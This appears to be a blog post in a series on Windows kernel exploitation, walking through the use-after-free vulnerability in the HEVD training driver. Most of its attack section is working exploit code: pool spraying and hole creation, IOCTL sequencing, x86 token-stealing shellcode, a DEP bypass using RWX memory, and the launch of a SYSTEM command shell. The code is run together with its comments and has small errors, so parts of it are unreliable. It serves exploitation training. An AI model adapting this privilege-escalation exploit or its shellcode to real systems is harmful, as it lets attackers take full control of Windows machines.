HEVD Windows Kernel Exploitation 6: Use-After-Free
As this is the 5th vulnerability on HEVD (Use-After-Free), I’ll give a summary of what we’ve learned so far:
With Stack Overfow: put your shellcode in userland in an allocated memory and execute in kernelland
With Arbitraty Overwrite: writing the value pointed by what to the memory location referenced by where
With Null Pointer Dereference: writing to a pointer location where the value of the pointer is NULL and used by an application that points to a valid memory location
With Unitialized Stack Variable, we will control the data on the kernel stack from user modeusing an uninitialized stack variable
With Use-After-Free, we’ll exploit a stale pointer that’s not freed which is called through a Callback function to execute our shellcode after we can put into the memory there.
Strategy:
The strategy for this blogpost will be as follows:
Initial Phase:
Source Code Review
Finding IOCTLs
Verifying the vulnerability with the scripts
Source Code Review
As always we’ll check the C code first to understand where the vulnerability lies:
The structure of the code is the same, defines some variables and datatypes, shows the vulnerable vs secure code and triggers the vulnerability, then defines IOCTL code.
listen with windbg and send 4 different IOCTL code with this script to validate after putting breakpoint on the IOCTL handlers.
Exploit: Spraying Objects
spray_event1 = spray_event2 = []
for i in xrange(10000): spray_event1.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in xrange(5000): spray_event2.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
Exploit: Create Holes
for i in xrange(0, len(spray_event2), 2): kernel32.CloseHandle(spray_event2[i])
Exploit: Call the IOCTL code in the correct order:
Call the IOCTL code in the correct order ALLOCATE_UAF_OBJECT -> FREE_UAF_OBJECT -> ALLOCATE_FAKE_OBJECT -> USE_UAF_OBJECT kernel32.DeviceIoControl(handle, 0x222013, None, None, None, 0, byref(c_ulong()), None) kernel32.DeviceIoControl(handle, 0x22201B, None, None, None, 0, byref(c_ulong()), None) fake_obj = ptr_adr + "\x41"*(0x60 - (len(ptr_adr))) for i in xrange(5000): kernel32.DeviceIoControl(handle, 0x22201F, fake_obj, len(fake_obj), None, 0, byref(c_ulong()), None) kernel32.DeviceIoControl(handle, 0x222017, None, None, None, 0, byref(c_ulong()), None)
Final Exploit
We’ll add the shellcode, Defeate DEP, add print statements to debug issues and pop the system shell:
import struct, sys, ctypes from ctypes import * from ctypes.wintypes import * from subprocess import * DLL kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll spraying spray_event1 = spray_event2 = [] handle handle = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not handle or handle == -1: print "[+] Cannot get device handle….. Try again." sys.exit(0) shellcode shellcode = bytearray( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx "\x75\xED" # jnz "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx "\x61" # popad "\xC3" # ret ) Defeating DEP with VirtualAlloc Creating RWX memory, and copying our shellcode in that region. ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000), c_int(0x40)) buff = (c_char * len(shellcode)).from_buffer(shellcode) kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode))) ptr_adr = hex(struct.unpack('L', ptr))[0])[2:].zfill(8).decode('hex') spray the objects for i in xrange(10000): spray_event1.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) for i in xrange(5000): spray_event2.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1)) create holes for i in xrange(0, len(spray_event2), 2): kernel32.CloseHandle(spray_event2[i]) Call the IOCTL code in the correct order ALLOCATE_UAF_OBJECT -> FREE_UAF_OBJECT -> ALLOCATE_FAKE_OBJECT -> USE_UAF_OBJECT kernel32.DeviceIoControl(handle, 0x222013, None, None, None, 0, byref(c_ulong()), None) kernel32.DeviceIoControl(handle, 0x22201B, None, None, None, 0, byref(c_ulong()), None) fake_obj = ptr_adr + "\x41"*(0x60 - (len(ptr_adr))) for i in xrange(5000): kernel32.DeviceIoControl(handle, 0x22201F, fake_obj, len(fake_obj), None, 0, byref(c_ulong()), None) kernel32.DeviceIoControl(handle, 0x222017, None, None, None, 0, byref(c_ulong()), None) call the shell print "\n[+] system shell incoming" Popen("start cmd", shell=True)